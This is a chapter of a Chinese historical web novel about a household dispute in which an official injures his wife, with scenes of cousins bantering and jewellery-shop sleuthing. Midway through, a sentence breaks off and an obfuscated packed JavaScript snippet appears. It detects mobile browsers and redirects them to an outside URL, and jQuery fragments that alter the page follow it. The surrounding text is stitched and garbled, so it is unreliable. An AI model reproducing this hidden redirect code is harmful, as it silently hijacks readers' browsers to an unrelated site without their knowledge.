最后还是周择出声打圆场：“事已至此，不如我们都盼着苏氏平安无事，然后大家就当无事发生。”


    周丛皱着眉头看向周择问道，“苏家知晓苏氏受伤昏死过去了吗？”


    周择摇摇头，“应当尚未知晓，那坊内住户以商贩百姓居多，认得任孟成的人不多，巡街衙役赶到时，苏氏已经被任孟成带走了。”


    “那就先劳烦周遭的百姓去给苏家报个信，苏家知晓后若是有心，苏氏或许还能及时得到救治，人命关天。”说着转向叶秋声，语带略带不赞同，“阿择同你平日里便是说这些？照你们的想法，这事后续要怎么处理？”


    叶秋声提起茶壶，给自己续了一盏茶，浅浅啄了一口，方才开口，“人命关天，就依表兄的安排。”


    周丛转向周择，眼神严厉带责问，周择不慌不忙开口：“我也就是碰巧遇上他们闹和离，好奇了些，既不是因我而起，我又未推波助澜，怪不到我吧。任孟成不救治苏氏那是他狼心狗肺，若是因我消息递送及时苏氏得救，苏家还得谢我呢。”


    叶秋岳见周丛因着周择的话眉头紧拧，忙出声安抚：“说起来这也是公主府的家事，轮不到我们说三道四，表兄，喝茶，喝茶。”


    叶秋岳给几人都续上茶，除了唐观复轻笑向他致意，其他人并未给出好脸色。


    周择很是会顺杆爬，喝了一口茶，状若可惜道：“茶是好茶，可惜，我还是觉得没表姐送的那琉璃杯不习惯。”


    被叶秋声抬眼瞪了一回，强调道“是大哥和我，一起送的”，叶秋声特意在“一起”二字上咬了重音。


    周择又装模作样，“茶汤清亮，回味无穷，若是配上我那云雾琉璃杯，氤氲如画，身临其境。”


    叶秋声凉凉出声，“那你可以求大哥多给你画几幅云雾图挂在书房里，日日观景。”


    周择点点头，似乎认真考虑叶秋声提议的可行性。


    “什么云雾琉璃杯？”唐观复声音温和，轻声问道。


    周择可算是找到递枕头的人，说前几日生辰表姐送了一尊琉璃杯，内壁刻有终南山云雾图，喝茶时很是雅致云云，大哥看到很是喜爱，妄图据为己有，自己坚决抵抗，成功守护了自己的琉璃杯。


    几人目光又移向周丛，周丛没料到周择直接说他妄图据为己有，耐心解释：“我只是觉得那琉璃杯内壁刻画的设计很是精巧，想细细观察而已。”


    叶秋岳与有荣焉，立刻出声夸赞自家妹妹，“是秋声想出来的主意哦”，又出声为妹妹补充解释：“本来秋声也画了云雾图，但她的画技实在是……不宜外传，只得由我代劳。表兄若是喜欢，那定做琉璃杯的茶具店就在西市东北方位上，很是有名，去定做就可以了。”


    唐观复点点头，真心实意夸赞道：“大公子画技高超，三小姐慧心巧思，确实是不可多得的礼物。”


    叶秋声定定看着唐观复，神色不明。


    唐观复注意到她的目光，似是一怔，黑亮的眼睛微微放大，以眼神无辜询问，见叶秋声没有动作后，眉形舒展，弯起一双明目笑得坦荡，回应叶秋声的目光。


    叶秋声率先移开了视线。


    几人分开时，周择抢先说天色尚早，邀请表姐与自己一道去挑选珠宝首饰，叶秋岳欲开口，周择当即反问，“表兄你懂珠宝首饰吗？”


    叶秋岳摇摇头，再一一问过周丛、唐观复，二人对首饰了解不多，也都摇摇头。


    周择遗憾表示，“看来这个忙只有表姐能帮我啊，”还对着几人失望地摇头。


    周丛不赞同的皱眉出声：“府内珠宝首饰日常用品一应俱全，回府后问过母亲不是一样的吗？”


    周丛再次摇摇头反驳：“我给心上人选礼物总不能直接问母亲吧，表姐同她年纪相仿，参考意见更合理呀。”


    三人面上掩不住的惊奇，周丛率先开口：“你几时有的心上人？哪家小姐？”就连一旁的叶秋声都以眼神询问。


    周择觉得众人大惊小怪：“有心上人不是很正常？你们才奇怪吧，一把年纪也没个心上人”，又转向唐观复，笑眯眯地补充：“殿下不算，你刚从和尚庙里回来。”


    三人看着叶秋声与周择转身离开的背影越来越远，唐观复迟疑着开口：“周将军，二公子一直这样吗？”


    周丛无奈摇头：“是的，他能顺利长大，全凭长得好看。”


    叶秋岳看着二人背影若有所思，喃喃低问：“阿择心上人是哪家小姐？”


    周丛表示：“我也是刚刚知道他有心上人。”


    过了半条街的叶秋声开口：“你心上人是哪家小姐？”


    周择没料到叶秋声也当了回老实人，居然信了他的胡言乱语，笑出声：“我随口扯的理由，他们现在可不放心我们俩单独说话。”


    “魏王殿下为什么会跟你们一起？”叶秋声觉得唐观复与周家兄弟未免交往过密了。


    周择表示这是个意外，“我探完消息就写信给你了，找了个茶楼等你回信，看到大哥楼下路过就邀他上楼喝茶，水还没沸，殿下后脚也到了。”


    “苏氏被推倒时谁在现场？具体说说当时的情况，越具体越好。”叶秋声追问细节。


    周择唤来当时出去探消息的亲卫，那亲卫跟在二人身后牵着马，将缰绳交给其他亲卫，上前来行了礼，把当时的见闻说了出来。


    “属下照二少爷的吩咐，盯着任寺丞，午时任寺丞自太常寺乘车驾往西面去时，就递了消息给二少爷。属下骑马追上的时候他刚进大通坊，进去后就直奔那外室的宅子，当时任夫人在宅子里摔打，夹杂着女人的哭声咒骂声，还有娃娃的哭叫声，任夫人见到任寺丞后情绪更加激动，动手打了那外室，任寺丞上前阻拦，两人扭打在一起。一开始任寺丞只是拦着，脸上被抓挠了好几下，任夫人被拦着气不过，抓到什么扔什么，任寺丞拦着拦着似乎也有了火气，就上去推搡，然后任夫人就被他推到在地，那碰巧有个花坛的横阶，任夫人倒地时后脑磕在台阶上，台阶上还有不少碎瓷渣，当场就见了血，任夫人也没了声响。那外室吓得尖叫好几声，宅子外围了些人，也有人去通知了巡街衙役，后来任寺丞就命宅子里的仆妇将夫人搬上了马车，其他人收拾那院子，等衙役到的时候被侍从拦住，马车就往公主府的方向去了。”


    “依你看，任孟成会给苏氏请大夫救治吗？”叶秋声听完那亲卫的描述，声音低沉的问周择。


    周择指了指街边高耸的四层明月楼，二人调转方向朝明月楼走去，周择边走边摇头：“任孟成不好说，但照李波刚才的描述，凶多吉少，况且进了公主府，救不救得，由不了他。”


    明月楼是京中有名的首饰铺子，种类繁多，材质优良，设计独特，京中贵女们几乎人人都有明月楼的首饰，不管是笄簪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209365|197380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    钗冠，还是步摇华胜、发钿梳篦，甚至璎珞臂钏，都能在他家挑到合适的，材质更是包罗了金银玉质，另有珍珠红蓝宝石珊瑚玛瑙等等，总之就是，贵客想要的款式材质，无论多么挑剔的眼光，明月楼里总有适合的一款。


    二人踏进明月楼，堂内的掌柜就认出周择，热情地迎了上来，“周二公子，大驾光临，您要看点什么？您有需要的话我们店内侍者可以……”


    掌柜的话还没说完，就被周择抬手止住，点了点边上一个年纪最小的侍者，“就他吧。”


    那侍者诚惶诚恐，看向掌柜，掌柜为难道：“这，他只是学徒，对楼里的许多首饰还不了解呢，怕伺候不好您，要不您换个店里懂行的。”


    周择坚持就要选年纪最小的，掌柜见状拉着那侍者，再三交待好好招待贵客才由他作为侍者，为周择与叶秋声在店里介绍珠宝首饰。


    第三层楼里，大部分是成婚或者特定场合才用的成套首饰，所以人很少，叶秋声挑着问了一套首饰的细节，那小侍者满脸通红称，自己之前没有资格上三楼，因此对三楼的首饰也说不上个二三，请贵人海涵。


    叶秋声话音一转，“那店里的珠宝是哪家珠宝行供货？还是你们自己的珠宝行？”


    “是自家的珠宝行，所以材质您放心。”小侍者接上话。


    “没有其他珠宝行？全都是自家的？”周择漫不经心的反问道。


    “也有其他珠宝商的，但咱家是绝对不接散客的货的，全都是城内叫得上名号的珠宝商。”小侍者极力维护明月楼的声誉。


    让那侍者暂时不必跟着，叶秋声肯定道：“那珠宝商不是魏王派去的，城内有名的珠宝商太多，一一排查不现实，这条线索算断了，我还是想不通。”


    周丛目光在满目璀璨、珠光流转的首饰里扫过，点点头，“确实找不到其他线索了，他目前也没打什么歪主意到大哥身上，看起来温和纯良，想不通便不想了，先这样吧。”


    叶秋声也只得点点头，“苏家那边会不会去公主府见苏氏劳烦你盯着，做最坏的打算。”


    周择当即表示“我办事，你放心。”


    意兴阑珊逛完明月楼，二人上马，周择送叶秋声回家。


    叶秋声回到家里，便吩咐仆妇父亲若是下值回到家，及时通知她，结果直到接近亥时，寒霜已悄悄爬上院内檐下叶上，坊门将将关闭前，叶秀云才裹着披风匆匆回家。


    主院里仆妇们立刻就忙碌了起来，热汤热饭，熏好的常服，待叶秀云终于从寒冽的北风里缓过来，预备吃点热汤暖和下身子，叶秋声也到了主院。


    叶秋声上前行了一礼，“儿知父亲尚未用饭，不敢耽搁太久，儿就说几句话，很重要。”


    见叶秀云点点头，叶秋声向前数步，凑近叶秀云轻声道：“任孟成妻苏氏或许不久于人世，为任孟成失手所致，若是苏氏辞世，御史台定然弹劾直达天听。公主府内薪炭所耗或许也是突破口，另有张驸马掌光禄寺，膳食酒醴，祭品宴飨，利益所系，是非之地。”


    叶秋声说完后就退回厅堂中，叶秀云很是意外，怔怔看着她，叶秋声最后开口道“事态发展系于苏氏一身，望父亲早做准备，您慢用晚饭，儿告退。”


    返回留芳院的路上，耳旁是呼呼作响的北风，冷冽异常，叶秋声却觉得体内的血液在试图灼热沸腾，不断点燃心底的欲望。